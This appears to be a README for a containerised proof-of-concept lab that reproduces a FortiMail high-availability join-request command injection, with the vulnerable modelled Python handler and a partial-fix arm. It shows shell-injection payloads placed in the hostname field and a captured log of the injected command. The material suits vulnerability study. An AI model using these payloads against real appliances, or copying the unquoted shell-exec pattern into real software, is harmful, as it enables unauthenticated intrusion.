
Containerised PoC and lab for CVE-2026-126148, an unauthenticated OS command injection in FortiMail HA join-request handling, with 8.0.1 vs 8.0.2 differential and sweep.
| CVE | CVE-2026-126148 |
| Component | Fortinet FortiMail — high-availability cluster, join-request handling (lab/fortimail_ha.py, modelled) |
| Affected | FortiMail 8.0.0–8.0.1, FortiMail 7.6.0–7.6.6 |
| Fixed in | FortiMail 8.0.2 (8.0 branch), FortiMail 7.6.7 (7.6 branch) |
| CWE | CWE-78 (Improper Neutralization of Special Elements used in an OS Command — OS Command Injection) |
| Impact | Unauthenticated remote code execution as the FortiMail service account (uid=0(root) in the laboratory) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 CRITICAL |
| Trigger | The peer-identity fields of a crafted FortiMail HA cluster join-request packet |
| Credit | Fortinet PSIRT (advisory author); no individual reporter is named in the advisory |
| Advisory | Fortinet PSIRT FG-IR-26-200, published 2026-11-10 |
| Workaround | none published by Fortinet |
Fortinet's advisory FG-IR-26-200 describes an OS command injection in the high-availability cluster of FortiMail that "may allow an unauthenticated remote attacker to execute unauthorized code or commands via crafted HA join-request packets". A FortiMail node that belongs to — or is willing to join — an HA cluster listens for join requests on a fixed port range. The join request carries the identity of the peer that wants to join, and the daemon turns that identity into a cluster-management command. When the identity fields are placed into the command line as text and that command line is handed to a shell, the fields are no longer data: they are shell syntax. The result is remote code execution with the privileges of the FortiMail daemon, from a single unauthenticated packet, with no user interaction and no prior access to the appliance.
This repository contains a containerised laboratory that reproduces the flaw, a differential against two remediation shapes, and the results of a 0-day sweep against the patched line.
FortiMail is proprietary software. None of its code, binaries or configuration are redistributed here, and Fortinet does not publish the HA join-request packet format or the join handler's source. What is reproducible here is therefore:
/bin/sh, not of FortiMail, and they are exercised for real.Everything the laboratory asserts about the vendor product is sourced from the advisory; everything it asserts about the model is labelled as such. The model is the only thing that runs in the lab, and it is built so that the vulnerable and the patched behaviour differ in the target component alone.
The model lives in lab/fortimail_ha.py and is selected with FML_MODE:
FML_MODE | behaviour | version reported |
|---|---|---|
vuln | the FortiMail 8.0.1 model: the peer identity is interpolated into the command line without validation and the line is executed through /bin/sh -c | 8.0.1 |
fixed | the FortiMail 8.0.2 model: every identity field is validated against a strict character set and the command is executed without a shell, as an argument vector | 8.0.2 |
fixed-partial | a hypothetical remediation shape — not a claim about the vendor's patch: only the hostname field is validated, and the shell-based exec helper is kept | 8.0.2 (partial-remediation model) |
The third arm exists so that the sweep has a realistic incomplete-remediation target. It is an artefact of this laboratory and carries no assertion about what Fortinet shipped.
The join request is the only part of the HA protocol that a stranger can send: the daemon must accept it from a peer it has never seen, because that is what joining a cluster means. The peer identity in the packet is therefore untrusted by construction.
In the FortiMail 8.0.1 model the identity is not merely unvalidated — it is text. The
handler substitutes the packet fields into a command template and hands the resulting
string to a shell. lab/fortimail_ha.py:336:
argv = build_argv(msg_type, fields)
cmdline = " ".join(argv)
and lab/fortimail_ha.py:345:
else:
# FortiMail 8.0.1 model and the partial-remediation shape: the command line is
# handed to a shell.
exec_kind = "shell"
out, err, rc = subprocess_run(["/bin/sh", "-c", cmdline])
build_argv() (lab/fortimail_ha.py:297) performs a plain token substitution, with no
quoting and no character check:
def build_argv(msg_type, fields):
"""Replace the {field} tokens with the raw values that arrived in the packet."""
template = COMMANDS[msg_type][0]
argv = []
for tok in template:
if tok.startswith("{") and tok.endswith("}"):
name = tok[1:-1]
argv.append(fields[name].decode("latin-1"))
else:
argv.append(tok)
return argv
The template for the join request is the modelled fml_ha peer add invocation
(lab/fortimail_ha.py:152):
MSG_JOIN: (
["fml_ha", "peer", "add", "--cluster", "{cluster-id}", "--serial", "{serial}",
"--name", "{hostname}", "--ip", "{peer-ip}"],
["cluster-id", "serial", "hostname", "peer-ip"],
),
so the command line that reaches the shell is
fml_ha peer add --cluster <cluster-id> --serial <serial> --name <hostname> --ip <peer-ip>
with every <...> replaced by attacker-controlled bytes. A hostname of
mail-node-01; id > /results/marker/x.txt therefore produces
fml_ha peer add --cluster cluster-01 --serial FG100FT0000000001 --name mail-node-01; id > /results/marker/x.txt --ip 10.10.10.11
which is two commands, and the second one runs with the privileges of the daemon. The
captured command log shows exactly that line, produced by the vulnerable model
(evidence/ha-command-log.txt):
2026-11-12T03:26:07Z mode=vuln version=8.0.1 port=20005 transport=tcp peer=10.89.10.125:51284 exec=shell exit=0 command=fml_ha peer add --cluster cluster-01 --serial FG100FT0000000001 --name x$(id>/results/marker/a4179c5d3e360061.txt 2>&1; echo token=a4179c5d3e360061 >>/results/marker/a4179c5d3e360061.txt) --ip 10.10.10.11
The cluster digest is carried in the packet too, but the daemon compares it after the
peer-registration command has already run (lab/fortimail_ha.py:361):
# ---- the cluster digest is compared only now: the peer-registration command has
# ---- already run. That ordering is what makes the flaw *unauthenticated* (PR:N).
digest_ok = hmac.compare_digest(fields["admin-digest"], SECRET.encode("latin-1"))
A packet with a wrong digest is therefore processed and acted upon; the daemon only records afterwards that the peer is not trusted. The reply makes the difference visible without changing the outcome:
"status": 0, "digest_ok": false, "message": "executed; peer not trusted (cluster digest mismatch)"
This is the ordering that makes PR:N hold, and it is the reason the sweep finds the
same unauthenticated state change on the patched line (§8.3).